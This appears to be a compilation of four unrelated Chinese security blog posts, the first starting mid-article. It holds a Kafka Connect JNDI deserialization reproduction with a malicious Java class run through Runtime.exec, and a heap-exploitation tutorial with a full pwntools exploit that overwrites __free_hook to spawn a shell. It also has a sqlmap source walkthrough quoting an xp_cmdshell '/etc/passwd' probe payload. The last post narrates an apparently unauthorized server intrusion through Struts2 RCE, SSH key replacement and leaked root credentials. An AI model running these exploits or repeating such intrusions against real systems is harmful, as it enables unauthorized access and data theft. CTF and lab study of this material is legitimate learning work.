可以看到请求了恶意类 恶意类内容calc.java import java.lang.Runtime; public class Calc {    public Calc() throws Exception{        Runtime.getRuntime().exec("C:\Windwos\System32\cmd.exe ipconfg>C:\Users\Administrator\Desktop\2.txt");   } } 编译java javac calc.java 在8888端口起http服务 python -m http.server 8888 执行payload 漏洞原理 Apache Kafka Connect 是 Kafka 中用于和其他数据系统传输数据的服务,其独立运行版本可以在 Kafka 发布包中通过 bin/connect-standalone.sh 启动,默认会在 8083 端口开启 HTTP REST API 服务,可对连接器(Connector)的配置进行操作。 将连接器中的 Kafka 客户端 sasl.jaas.config 属性值设置为 com.sun.security.auth.module.JndiLoginModule(通过 producer.override.sasl.jaas.config, consumer.override.sasl.jaas.config 或 admin.override.sasl.jaas.config 属性进行配置)时,如果连接器连接到攻击者可控的 LDAP 服务器时容易受到反序列化攻击。
关于“堆”题的总体思路
浅说一下pwn堆,并用一个简单的例子具体说明,给刚入坑堆的小朋友说的一些思路。 堆是什么 堆,你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据,那么这块用来存储数据的内存就是堆。 结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。 堆的理解 堆有很多题型 什么堆溢出,off by null , uaf 等。 核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程, 比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。 堆的话也是一样。 就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。 所以堆到底要怎么去执行。 我们可以把某一个函数的内容改成system,下次调用该函数即是使用system, 再在别的堆里面放入/bin/sh字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。 即可执行system(/bin/sh)了 一般修改__free_hook,使其内容变成system然后再free掉放有/bin/sh的堆 举例说明 我用一个很简单的例子去一步一步简单剖析。 这里我用一个很简单的例子去一步一步简单剖析。 先给出源码和gcc编译,使用的是Ubuntu18 gcc -o lizi lizi.c#include<stdio.h> #include<stdlib.h> char *heap[0x20]; int num=0; void create() { if(num>=0x20) { puts("no more"); return; } int size; puts("how big"); scanf("%d",&size); heap[num]=(char *)malloc(size); num++; } void show(){  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else {    printf("Content:");    printf("%s",heap[idx]); } } void dele() {  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else { free(heap[idx]); heap[idx]=NULL; num--; } } void edit() {  int size;  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else { puts("how big u read"); scanf("%d",&size); puts("Content:"); read(0,heap[idx],size); } } void menu(void){ puts("1.create"); puts("2.dele"); puts("3.edit"); puts("4.show"); } void main() { int choice; while(1) { menu(); scanf("%d",&choice); switch(choice) { case 1:create();break; case 2:dele();break; case 3:edit();break; case 4:show();break; default:puts("error"); } } } 我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小, 而导致的堆溢出修改下一个堆。 我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆, 使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。 (具体请看unsortedbin介绍) 结合exp介绍: from pwn import * r=process('./lizi') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' def add(size): r.sendlineafter("4.show\n",'1') r.sendlineafter("idx\n",str(size)) def dele(idx): r.sendlineafter("4.show\n",'2') r.sendlineafter("idx\n",str(idx)) def edit(idx,size,con): r.sendlineafter("4.show\n",'3') r.sendlineafter("idx\n",str(idx)) r.sendlineafter("how big u read\n",str(size)) r.sendafter("Content:\n",con) def show(idx): r.sendlineafter("4.show\n",'4') r.sendlineafter("idx\n",str(idx)) add(0x420) add(0x420) add(0x420) dele(1) add(0x70) show(2) r.recvuntil("Content:") base=u64(r.recv(6)+'\x00'*2)-0x3ec090 print(hex(base)) free=base+libc.sym['__free_hook'] sys=base+libc.sym['system'] add(0x70) dele(3) edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free)) add(0x70) add(0x70) edit(3,0x10,"/bin/sh\x00") edit(4,0x10,p64(sys)) dele(3) r.interactive() 首先菜单不用多说,很简单的交互,写好就行 然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆 unsortedbin all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0 可以看到1号堆已经进入到unsortedbin了 然后申请一个小堆 pwndbg> x/32gx 0x55697b2cfaa0 0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081 0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090 0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0 0x55697b2cfad0: 0x0000000000000000 0x0000000000000000 0x55697b2cfae0: 0x0000000000000000 0x0000000000000000 0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000 0x55697b2cfb00: 0x0000000000000000 0x0000000000000000 0x55697b2cfb10: 0x0000000000000000 0x0000000000000000 0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1 0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0 0x55697b2cfb40: 0x0000000000000000 0x0000000000000000 0x55697b2cfb50: 0x0000000000000000 0x0000000000000000 0x55697b2cfb60: 0x0000000000000000 0x0000000000000000 0x55697b2cfb70: 0x0000000000000000 0x0000000000000000 0x55697b2cfb80: 0x0000000000000000 0x0000000000000000 0x55697b2cfb90: 0x0000000000000000 0x0000000000000000 查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割 然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。 算出system,__free_hook的libc, 接着为什么要多申请一个堆,这里就是堆溢出的打法了, 在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook地址 再把内容改成system就可以把free当做system用了; 在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点 GDB看看 pwndbg> bin tcachebins 0x80 [ 1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0 smallbins empty largebins empty 会发现tcache里面已经有__free_hook了,因为已经把内容改成__free_hook的地址了。 然后申请2个堆,把tcache里面的__free_hook拿出来。 你也可以验证一下、 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA   0x55f37bb59000     0x55f37bb5a000 r-xp     1000 0 pwndbg> x/32gx 0x5597ecced000+0x202040 0x5597eceef040 <heap>: 0x00005597ee8ef680 0x0000000000000000 0x5597eceef050 <heap+16>: 0x00005597ee8efab0 0x00005597ee8efb30 0x5597eceef060 <heap+32>: 0x00007f7694f2e8e8 0x0000000000000000 0x5597eceef070 <heap+48>: 0x0000000000000000 0x0000000000000000 0x202040是heap的偏移,可以从ida里面找到。 申请出来的堆,__free_hook在4号堆 pwndbg> x/32gx 0x00007f7694f2e8e8 0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000 0x7f7694f2e8f8 <next_to_use>: 0x0000000000000000 0x0000000000000000 成功证明, 然后已知4号堆是__free_hook了,那么将4号堆的内容改成system的地址,不就可以了吗 然后再把3号堆写入/bin/sh 然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh)了 成功取得shell 总结 做堆题主要是要有一个总体想法就是要把什么变成system去执行shell,或者也有别的,比如malloc等。 这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。
SQLMap 源码阅读
0x01 前言 因为代码功底太差,所以想尝试阅读 sqlmap 源码一下,并且自己用 golang 重构,到后面会进行 ysoserial 的改写;以及 xray 的重构,当然那个应该会很多参考 cel-go 项目。 0x02 环境准备 sqlmap 的项目地址:https://github.com/sqlmapproject/sqlmap用 pycharm 打断点调试,因为 vscode 用来调试比较麻烦。 因为要动调,所以需要一个 sql 注入的靶场,这里直接选用的是 sql-labs,用 docker 起 docker pull acgpiano/sqli-labs docker run -dt --name sqli-lab -p [PORT]:80 acgpiano/sqli-labs:latest 最后还需要重新配置一下数据库,然后才能以 sqli-labs 为靶场进行测试。 这里也挂一下 sqlmap 对应的一些基础操作 ———— https://www.cnblogs.com/hongfei/p/3872156.html 直接在 pycharm 的 Debug 下进行调试,设置参数如下,开始调试 -u "http://81.68.120.14:3333/Less-1/?id=1" -technique=E --dbs 0x03 sqlmap 源码阅读 在开始之前我们有必要确认一下 sqlmap 运行的流程图,很重要!这样有助于我们进一步分析源码。 1. 初始化 在 sqlmap.py 的 main 函数下断点,开始调试 在没有对 URL 进行发包/探测的时候 sqlmap 会先对一些环境、依赖、变量来做一些初始化的处理 往下,通过 cmdLineParser() 获取参数,cmdLineParser() 通过 argparse 库进行 CLI 的打印与获取,类似的一个小项目我之前也有接触过 https://github.com/Drun1baby/EasyScan 往下 initOptions(cmdLineOptions) 解析命令行参数 init 函数: 初始化 在 init() 函数中通过调用各种函数进行参数的设置、payload 的加载等,有兴趣的师傅可以点进去阅读一下。 其中这三个相对比较重要,是用来加载 payload 的 ———— loadBoundaries()、loadPayloads()、_loadQueries(), loadBoundaries()  // 加载闭合符集合 loadPayloads()    // 加载 payload 集合 _loadQueries()    // 加载查询语句,在检测到注入点之后后续进行数据库库名字段名爆破会用到的语句 下个断先点调试一下 loadBoundaries() 函数 首先,会去加载 paths.BOUNDARIES_XML,也就是 data/xml/boundaries.xml 接着进入解析 XML 文件的部分,跟进 parseXmlNode(root) 最终添加到 conf 对象的 tests 属性里 loadPayloads() 函数与 _loadQueries() 函数大体上也是如此,都是做了解析 xml 文件的工作,再将内容保存到 conf 对象的 tests 属性里。像 loadPayloads() 函数,最后在 conf.tests 里面可以很清晰的看到 payloads 此时我们还可以看一下 conf 是什么 conf 属性中主要存储了一些目标的相关信息(hostname、path、请求参数等等)以及一些配置信息,init 加载的 payload、请求头 header、cookie 等 init() 函数执行完毕后,就会来到 start() 函数进行项目的正式运行。 初始化功能点小结 简单概括一下初始化部分的代码做了什么事 获取命令行参数并处理 初始化全局变量 conf 以及 kb 获取并解析几个 xml 文件,完成闭合工作、payloads 加载工作 设置 HTTP 相关配置,如 HTTP Header,UA,Session 等 2. URL 处理 f8 下来,先到的是 threadData = getCurrentThreadData(),继续往下走,到 result = f(*args, **kwargs) 代码块,跟进一下 代码逻辑此时来到了 /lib/controller/controller.py 下,往下走,是不会进到 conf.direct 和 conf.hashFile 中的,会直接进入到 kb.targets.add() 的代码逻辑里面。 此处的 kb 变量的作用是共享一些对象,其实本质上是保存了注入时的一些参数。kb.targets 添加了我们输入的参数,如图 往下看,大体上是做了一些类似类似打印日志、赋值、添加 HTTP Header 等工作,这一部分代码我们就不看了,直接看最关键的这一部分代码 parseTargetUrl()。 跟进 一开始先进行了这一判断 if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6 判断 http:// 的开头形式是否正确,以及 socket 是否为 ipv6 协议,如果为 ipv6 协议,那么 sqlmap 并不支持。 接着判断 if not re.search(r"^(http|ws)s?://", conf.url, re.I): 判断是 http 开头还是 https 开头,又或者是否是 ws/wss 开头,如果没有这些开头,则就从端口判断,这里我认为或许可以加上 80 与 8080 端口。 继续往下看,进行了 url 的拆分、host 的拆分,并将这些内容保存到 conf 里面的对应属性,后续也是一些基础的判断与赋值,这里不再赘述。 总而言之是在对 URL 进行剖析与拆解,最后这些东西都是放到 conf 里面的 3. 如果这个网站已经被注入过,生成注入检测的payload 核心代码在 controller.py 的第 434 行,需跟进;此处我们可以设置对 kb.injections 的变量监测。先跟进 setupTargetEnv() 函数 setupTargetEnv() 函数调用了如下图所示的七个函数 我们跟进最主要的 _resumeHashDBValues() 函数,首先调用了 hashDBRetrieve() 函数,设置检索 出来,到第 476 行,这一次又调用了 hashDBRetrieve() 函数,传参是 HASHDB_KEYS.KB_INJECTIONS,意思就是以 KB_INJECTIONS 作为 KEY 进行检索。跟进发现函数先将需要注入的 URL 信息放到了 _这个变量中,并将基础信息用 | 符号隔开。 跟进 retrieve() 函数,这个函数做了生成 payload 的工作,具体是怎么生成的我们继续往下看 第 95 行,这里很重要,执行了 SQL 语句,并通过 Hash 加密,加密方式是 base64Pickle 序列化 最终反序列化解密 Payload,说实话这里没看懂是怎么生成的,看上去仅仅是执行了一个 SQL 语句,后面看其他师傅的文章的时候并没有把这一段单独拉出来说,payloads 其实都放在 xml 当中。 接着再循环一次,生成一个 payload 在生成完所有 payload 之后会先对目标进行一次探测,如果 Connection refused 则返回 False 这里生成的 payload 只是很基础的一部分,并非是 4. WAF 检测 解析完 URL 之后对目标进行探测,往下看,位置是 controller.py 的第 439 行,第 448 行有 checkWaf() 的函数,很明显就是要做 WAF 检测的功能。 先会判断这一目标是否存在 WAF,如果存在 WAF 的话,会进行字符的相关 fuzz,当然此处建议对一个存在 WAF 的目标进行测试。值得注意的是,如果这个目标你已经探测过存在 waf,且已知 waf 归属厂商的情况下,就不会走到 payload 那一段代码逻辑当中去,相关的业务代码在 hashDBRetrieve() 下,此处不再展开,比较容易。 如果存在 WAF,则会生成用于 fuzz 的 payload,这个 payload 是基于这个 NMAP 的 http-waf-detect.nse ———— https://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse 设置 payload 类似于 "9283 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#",如果没有 WAF,页面不会变化,如果有 WAF,因为 payload 中有很多敏感字符,大多数时候页面都会发生改变。 接下来的 conf.identifyWaf 代表 sqlmap 的参数 --identify-waf,如果指定了此参数,就会进入 identifyWaf() 函数,主要检测的 waf 都在 sqlmap 的 waf 目录下。不过新版的 sqlmap 已经将这一参数的功能自动放到里面了,无需再指定参数 这里的 payload 先经过处理后赋值给 value,再将 value 作为参数传入 queryPage() 请求中,跟进 在经过很长一段的数据处理与判断代码后,我们到第 1531 行,如图,跟进;getPage() 函数的作用是获取界面的一些信息,如 url,ua,host 等,通过输出比对 payload,为判断 waf 类型提供信息。 获取基本信息 这些基础信息最后都会保存在 response 系列的 message 当中 getPage() 函数中调用了 processResponse() 函数做响应结果的处理,跟进 往下看,到 401 行开始,后续的代码进行了 Waf 的识别 跟进 identYwaf.non_blind_check(),是通过正则表达式来对页面进行匹配,对应的规则在 thirdparty/identywaf/data.json 中 同时 sqlmap 不光通过规则库来进行判断,也会通过页面相似度来判断是否存在 waf/ips 如果相似度小于设定的 0.5 那么就判定为有 waf 拦截 WAF 注入总结 总结一下就是两点,一种方法是通过正则匹配的检测,另外一种方法是根据页面相似度来检测,我自己应该很难写出来 waf 检测的东西;届时再做尝试。 5. 注入检测之启发式注入 从 checkWaf() 函数里面出来,先到第 457 行,检测网站是否稳定(因为有些网站一测试可能就炸了)对应此 info [INFO] testing if the target URL content is stable 继续往下走到第 471 行,会先判断参数是否可以注入,这里与命令的参数 —— --level 挂钩 在前文环境准备的时候我们采用的方式是报错注入,如果不这么做,直接指定参数 --dbs,无法进入到启发式注入里面。我们接着看代码,往下直到第 581 行,调用的 heuristicCheckSqlInjection() 函数,意思是启发性注入。 启发式注入做了哪些工作 1、数据库版本的识别2、绝对路径获取3、XSS 的测试 数据库版本的识别 首先会从 HEURISTIC_CHECK_ALPHABET 中随机抽取10个字符出现构造 Payload,当然里面的都不是些普通的字符,而且些特殊字符,当我们进行 SQL 注入测试的时候会很习惯的在参数后面加个分号啊什么的,又或者是其他一些特殊的字符,出现运气好的话有可能会暴出数据的相关错误信息,而那个时候我们就可以根据所暴出的相关错误信息去猜测当前目标的数据库是什么。 并且最后生成的这个 payload 是能够闭合的 实际找个网站测试,如图,这就是报出的 SQL 数据库错误 判断在 lib/request/connect.py 的 1532 行 接着跟进 processResponse() 函数,这里和 waf 对比用的同一种方式,不再详细说明 其中 processResponse() 会调用到 ./lib/parse/html.py 中的 htmlParser() 函数,这一个函数就是根据不同的数据库指纹去识别当前的数据库究竟是什么。 最终实现这一功能的其实是 HTMLHandler 这个类,errors.xml 文件内容如图 这一配置文件的比较简单,其实也就是一些对应数据库的正则。sqlmap 在解析 errors.xml 的时候,然后根据 regexp 中的正则去匹配当前的页面信息然后去确定当前的数据库。这一步和 WAF 比对类似。 到此 sqlmap 就可以确定数据的版本了,从而选择对应的测试 Payload,后续我们会看到这是根据莫索引将 payloads 排序,然后选取对应数据库信息的 payloads 进行测试。减少 sqlmap 的扫描时间。 最后这个 DBMS 探测对应的是这一段信息 获取绝对路径与 XSS 探测 相比指纹识别,获取绝对路径的功能模块相对简单,利用正则匹配寻找出绝对路径。 XSS 的探测也比较简单,这里就不作代码分析了 6. 注入检测之正式注入 从启发式注入里面出来,到第 592 行,进行正式的注入检测,跟进 到第 130 行,获取所有的 payload,后续会根据数据库的信息构建索引,将符合索引的 payload 拿去攻击 往下走,先判断有没有做数据库信息的获取,如果有则跳过,如果没有就先进行上一步的启发式注入 接着根据通过报错得到的数据库信息建立索引,将对应最有效的 payload 拿出来。这些 payloads 会进行 while 循环 第 370 行,通过 cleanupPayload() 函数对 payload 进行处理,主要功能其实是做了 payload 的标签替换 最后替换过的 payload 长这样 "AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('qbpxq',(SELECT (ELT(9125=9125,1))),'qxkvq','x'))s), 8446744073709551610, 8446744073709551610)))" 在 sqlmap 中将payload 分为了三部分,上面生成的 fstpayload 就是中间那部分 prefix + payload + suffix prefix 和 suffix 就是对应的,闭合前面的结合以及注释后面的结构,这两个属性主要是从 boundary 中进行获取的,boundary 就是前面加载的 boundaries.xml 配置文件,用来闭合的,所以这里作为了 prefix 和 suffix 最后的拼接 并分别对 prefix 和 suffix 进行 clean,然后进行组合,组合之后的 payload 就是 reqPayload,然后进行请求 发出请求最终还是通过 request.queryPage() 来实现的 请求完毕的结果经过 queryPage() 函数来获取界面,但是页面结果是由 kb.chars.start 和 kb.chars.stop 包裹着的 当第一次的注入不成功的时候,会不断变更 prefix,suffix,当 prefix 和 suffix 都变更完毕但还是无法注入时,才会变更 payload,取出另一个 payload 出来,直至 injectable 变量为 true,同时 output=1 并且 injectable=true 7. 爆数据库等操作 经过上一步正式注入的判断,得到的 injectable=true 参数,才能进行下一步的爆数据库操作. 爆库阶段主要是先经过四个函数处理数据后,再调用 action() 函数,跟进。 这里已爆库为例,先看 --dbs 参数有关的这一块,核心函数是 getDbs() 先根据后台数据库信息,输出日志 第 133 行,queries 就是存放之前初始化 queries.xml 的变量 首先通过 count(schema_name) 来获取数据库的个数,然后再通过 limit num,1 来依次获取数据库名,从 queries 变量中获取语句之后就会传递到 getValue 函数 跟进,前面做了一些基础的设置和 payload 的处理与赋值,比如第 401 行的 cleanQuery() 函数,将语句转换为大写,这里我就不跟进了。直接看关键语句,第 451 行,errorUse() 函数 在 errorUse() 中首先通过正则将 payload 中的各个部分都进行了获取 ,保存到了对应的 field 当中,最终经过一系列处理,取出了 payload 中的 schema_name 跳出 getFields() 函数,往下,将 expression 的值经过 replace 操作,赋值给了 countedExpression,最终得到的值是 'SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA' 第 337 行,跟进 _oneShotErrorUse() 函数,在这一个函数中,sqlmap 对目标网站发包,使用的 payload 为 countedExpression,目的是探测数据库个数(count) 具体业务发包在这里 最后将结果传入 extractRegexResult() 函数中进行正则提取 多线程的方式进行注入,而 runThreads() 函数调用了 errorThread() 函数,最终的注入业务还是由 errorThread() 函数来完成的 跟进一下 _errorFields() 函数,将每一个表进行 while 循环操作,再通过 limitQuery() 函数设置最后的 Limit 语句 最后成功 --dbs sqlmap 流程分析结束 0x04 小结 sqlmap 的流程分析需要非常重视这张图,当感觉代码看不下去的时候看一下这张图可以事半功倍。 在审计开始之前也可以看一下 utils 文件夹下的 python 文件,总体来说流程并不难,看正则的时候其实挺吃力的。
记一次运气非常好的服务器渗透经历
平平无奇的客服平台: 这个客服平台是有RCE的,如果上传到的不是oss服务器,存储在本地服务器的话, 在返回端口的url是存在st2。 root权限,由于是客服后台服务器,没有啥有用价值的信息。 直接替换私钥连服务器。 继续翻找有用的信息。 配置文件里也只有mongodb和redis的连接信息。 历史命令和登录ip历史是阿里云服务器。 扫下端口,8092有个目录遍历,好像是专门用来放项目的。 点开test看看: 下载过来解包看看: 这咋有个ip,root和密码,不会是那个开发人才留下的吧,泪目了家人们。 尝试连接,还真可以。 连接数据库看看,8w多受害者,佩服。 然后再回到之前扫出来的端口, 8094是有个web项目。 在数据库获取到后台url  配合数据库和登录日志获取到国内技术嫌疑人。 IP和经纬度是在国内。 总结一下,下班。